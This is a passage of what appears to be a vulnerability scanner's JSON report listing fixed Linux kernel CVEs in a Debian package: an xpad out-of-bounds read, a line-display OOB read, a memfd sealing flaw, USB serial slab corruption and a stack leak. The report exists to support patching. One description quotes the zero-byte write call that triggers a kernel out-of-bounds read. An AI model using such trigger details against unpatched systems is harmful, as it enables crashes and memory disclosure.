"2026-10-28T18:33:16.91Z" }, { "VulnerabilityID": "CVE-2026-63943", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63943", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3e226bb3b9347d1e72a8157ad45440987f41beafdca6d09c8028d994f0fd31a8", "Title": "kernel: Input: xpad - fix out-of-bounds access for Share button", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: xpad - fix out-of-bounds access for Share button\n\nxpadone_process_packet() receives len directly from urb-\u003eactual_length\nand uses it to index the share-button byte at data[len - 18] or\ndata[len - 26]. Since both len and data[0] are under the device's\ncontrol, a broken controller can send a GIP_CMD_INPUT packet with\nactual_length \u003c 18 (e.g. 5 bytes) and reach this code path, causing\naccesses beyond the actual array.\n\nFix this by calculating the offset and checking bounds against the\npacket length.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63943", "https://git.kernel.org/linus/6cdc46b38cf146ce81d4831b6472dbf7731849a2%20%287.1-rc6%29", "https://git.kernel.org/stable/c/37ec54abfdd63a63fd50734a9c4e4cbc1e5795af", "https://git.kernel.org/stable/c/6346b0895b574ce45f3747b9c508c72f70e6abef", "https://git.kernel.org/stable/c/6cdc46b38cf146ce81d4831b6472dbf7731849a2", "https://git.kernel.org/stable/c/9749db57233b396353ad5dee81eec9d9880c9246", "https://git.kernel.org/stable/c/bcfb4833cd4078a1a356ef451838b75cd233099e", "https://kernelcve.org/list/?q=CVE-2026-63943", "https://lore.kernel.org/linux-cve-announce/2026071953-CVE-2026-63943-6827@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63943", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63943" ], "PublishedDate": "2026-07-19T16:17:12.88Z", "LastModifiedDate": "2026-10-30T14:28:01.71Z" }, { "VulnerabilityID": "CVE-2026-63949", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63949", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:be8439034e633ba4d89b78da640c0b289988f53881832670c93d9b212b6b8b78", "Title": "kernel: auxdisplay: line-display: fix OOB read on zero-length message_store()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nauxdisplay: line-display: fix OOB read on zero-length message_store()\n\nlinedisp_display() unconditionally reads msg[count - 1] before\nchecking whether count is zero, so a write of zero bytes to the\nmessage sysfs attribute hits msg[-1]:\n\n\twrite(fd, \"\", 0);\n\n\t-\u003e message_store(..., buf, count=0)\n\t -\u003e linedisp_display(linedisp, buf, count=0)\n\t -\u003e msg[count - 1] == '\\n' ; OOB read\n\nThe kernfs write buffer for that store is a 1-byte allocation\n(kernfs_fop_write_iter() does kmalloc(len + 1) with len == 0),\nso msg[-1] is a 1-byte read before the slab object. On a\nKASAN-enabled kernel this trips an out-of-bounds report and\npanics; on stock kernels it silently reads adjacent slab data\nand, if that byte happens to be '\\n', the following count--\nwraps ssize_t 0 to -1 and is then passed to kmemdup_nul().\n\nlinedisp_display() is reached from the message_store() sysfs\ncallback (drivers/auxdisplay/line-display.c message attribute,\nmode 0644) and from the in-tree initial-message setup with\ncount == -1, so the OOB path is only userspace-triggerable via\nzero-byte writes; vfs_write() does not short-circuit on\ncount == 0 and kernfs_fop_write_iter() dispatches the store\ncallback regardless.\n\nGuard the trailing-newline trim with a count check. The\nexisting if (!count) block then takes the clear-display path\nunchanged.\n\nAffects every auxdisplay driver that registers via\nlinedisp_register() / linedisp_attach(): ht16k33, max6959,\nimg-ascii-lcd, seg-led-gpio.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63949", "https://git.kernel.org/linus/a7511dcd9dd4bc55d123f9b800c8a4ed2662e5c6%20%287.1-rc7%29", "https://git.kernel.org/stable/c/197476b126010bac1b3199833c6966cd6f54c2a9", "https://git.kernel.org/stable/c/3859960daeb9b7b39b9847b5b0113bc6081eb735", "https://git.kernel.org/stable/c/6ad4f75ef9f3372fce8cad494e789ac6a5507bef", "https://git.kernel.org/stable/c/8776032fe989a9b5fc77f2de5e03e4adb44c630e", "https://git.kernel.org/stable/c/a7511dcd9dd4bc55d123f9b800c8a4ed2662e5c6", "https://git.kernel.org/stable/c/ca5b0781946d5083ceafa752141f47f085853620", "https://linux.oracle.com/cve/CVE-2026-63949.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071954-CVE-2026-63949-7f56@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63949", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63949" ], "PublishedDate": "2026-07-19T16:17:13.6Z", "LastModifiedDate": "2026-10-30T14:27:45.41Z" }, { "VulnerabilityID": "CVE-2026-63952", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63952", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:762c5e9a341ca7469b628af35b3b3a5b13cc72e152a82430e279a0c47c498949", "Title": "kernel: memfd: deny writeable mappings when implying SEAL_WRITE", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmemfd: deny writeable mappings when implying SEAL_WRITE\n\nWhen SEAL_EXEC is added, SEAL_WRITE is implied to make W^X. But the\nimplied seal is set after the check that makes sure the memfd can not have\nany writable mappings. This means one can use SEAL_EXEC to apply\nSEAL_WRITE while having writeable mappings.\n\nThis breaks the contract that SEAL_WRITE provides and can be used by an\nattacker to pass a memfd that appears to be write sealed but can still be\nmodified arbitrarily.\n\nFix this by adding the implied seals before the call for\nmapping_deny_writable() is done.", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-63952", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/3b041514cb6eae45869b020f743c14d983363222%20%287.1-rc6%29", "https://git.kernel.org/stable/c/0995d1f79aed8ccbf62056189dd53fd19726ea08", "https://git.kernel.org/stable/c/3b041514cb6eae45869b020f743c14d983363222", "https://git.kernel.org/stable/c/3be2a24f7f72ad7321ed6ad1715b956a4527bcf4", "https://git.kernel.org/stable/c/555702282d4536a865dfffb1cd4f6028f196e7e8", "https://git.kernel.org/stable/c/b3f4f82d1315f1439059a83d1c22c51a5b43d99e", "https://linux.oracle.com/cve/CVE-2026-63952.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026071955-CVE-2026-63952-0c7b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63952", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-63952" ], "PublishedDate": "2026-07-19T16:17:13.95Z", "LastModifiedDate": "2026-10-28T18:09:02.16Z" }, { "VulnerabilityID": "CVE-2026-63956", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63956", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ca3046780c0de6705ab8b99e075b7783ac68b26f6a3fd7cb9e87baf549676661", "Title": "kernel: USB: serial: cypress_m8: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: cypress_m8: fix memory corruption with small endpoint\n\nMake sure that the interrupt-out endpoint max packet size is at least\neight bytes to avoid user-controlled slab corruption or NULL-pointer\ndereference should a malicious device report a smaller size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-63956", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/e1a9d791fd66ab2431b9e6f6f835823809869047%20%287.1-rc6%29", "https://git.kernel.org/stable/c/1ef25704bd3b625fd151c09feee459479f71ee64", "https://git.kernel.org/stable/c/284105c40fc31fff90cdab8a0377aaeb92f87f0e", "https://git.kernel.org/stable/c/4bcaa59f403dbde6328604a500d65ee8d40975d9", "https://git.kernel.org/stable/c/4fcb22218f0a7229b7ce3b3952fb644def293fa5", "https://git.kernel.org/stable/c/52e18ae0c47c5c89e18fcd8022f287f7cc8802ec", "https://git.kernel.org/stable/c/6c13f3bb652bc8665e709ba07122612586aea648", "https://git.kernel.org/stable/c/ad3d1628a46134276546d7a12fedf04be9979158", "https://git.kernel.org/stable/c/e1a9d791fd66ab2431b9e6f6f835823809869047", "https://linux.oracle.com/cve/CVE-2026-63956.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071956-CVE-2026-63956-0fee@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63956", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63956" ], "PublishedDate": "2026-07-19T16:17:14.41Z", "LastModifiedDate": "2026-10-30T14:32:20.473Z" }, { "VulnerabilityID": "CVE-2026-63957", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63957", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f45a98a622ca4f2be8651c0917ab3e3ce7198f1c31f7322654a1a13c91add409", "Title": "kernel: USB: serial: safe_serial: fix memory corruption with small endpoint", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nUSB: serial: safe_serial: fix memory corruption with small endpoint\n\nMake sure that the bulk-out buffer size is at least eight bytes to avoid\nuser-controlled slab corruption in \"safe\" mode should a malicious device\nreport a smaller size.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63957", "https://git.kernel.org/linus/438061ed1ad85e6743e2dce826671772d81089ec%20%287.1-rc6%29", "https://git.kernel.org/stable/c/161ea0e5236f5f051d2d85d6c54dd08ee9dc7ba4", "https://git.kernel.org/stable/c/438061ed1ad85e6743e2dce826671772d81089ec", "https://git.kernel.org/stable/c/857b3cc73f91871ae4433f8b97c4670b78f8dc96", "https://git.kernel.org/stable/c/9b3145b3001fb24de1da72d1deb0bea70e5a078b", "https://git.kernel.org/stable/c/a550ed2117ca4709d38f713933ff924a83942e41", "https://git.kernel.org/stable/c/c7336c0fba5c959249f3d793d33076b992ec3ee4", "https://git.kernel.org/stable/c/e3a1d6eee25dc96b1d2db0ecd9d8741e92056476", "https://git.kernel.org/stable/c/f793b67d41e5fab719c5a90baa77cbd2fe259517", "https://linux.oracle.com/cve/CVE-2026-63957.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026071956-CVE-2026-63957-b4f1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63957", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-63957" ], "PublishedDate": "2026-07-19T16:17:14.533Z", "LastModifiedDate": "2026-10-30T14:32:28.37Z" }, { "VulnerabilityID": "CVE-2026-63967", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63967", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:27a15f8813a99f5fba460dafd599d3b851bb54af7015a924cde522db753c28ab", "Title": "kernel: iio: imu: st_lsm6dsx: fix stack leak in tagged FIFO buffer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\niio: imu: st_lsm6dsx: fix stack leak in tagged FIFO buffer\n\nThe tagged FIFO path declares iio_buff on the stack with __aligned(8)\nbut no initializer, but there is a hole in the structure, which will\nthen leak to userspace as ST_LSM6DSX_SAMPLE_SIZE bytes (6) will be\ncopied, but the space between that and the timestamp are not\ninitialized.\n\nCommit c14edb4d0bdc (\"iio:imu:st_lsm6dsx Fix alignment and data leak\nissues\") moved the untagged FIFO path to a kzalloc'd buffer in hw-\u003escan,\nbut for the tagged path it only added the alignment qualifier and not\nthe initializer :(\n\nFix this by just zero-initializing the structure on the stack.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63967", "https://git.kernel.org/linus/c9d8e9adaa63150ef7e833480b799d0bab83a276%20%287.1-rc6%29", "https://git.kernel.org/stable/c/3147b303b8c7d9f91da4b849ece33b45048f5eaf", "https://git.kernel.org/stable/c/890d0312d5f94be43eac21f5a34d3bccc60d051b", "https://git.kernel.org/stable/c/babf1943a40bb5669db57d30ca16c22504b18e07", "https://git.kernel.org/stable/c/c9d8e9adaa63150ef7e833480b799d0bab83a276", "https://git.kernel.org/stable/c/d42ac0bfb6a16617c62a59d53706579c7fadbfa6", "https://git.kernel.org/stable/c/e6bb3a49c5f9de870ea95e69775df785728e3366", "https://git.kernel.org/stable/c/fe1a7f99e72ebd2880515332b79b8c256be22aca", "https://git.kernel.org/stable/c/ff8d3c088b77b11782f2c3b97e37425be050e8de", "https://lore.kernel.org/linux-cve-announce/2026071959-CVE-2026-63967-5590@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63967", 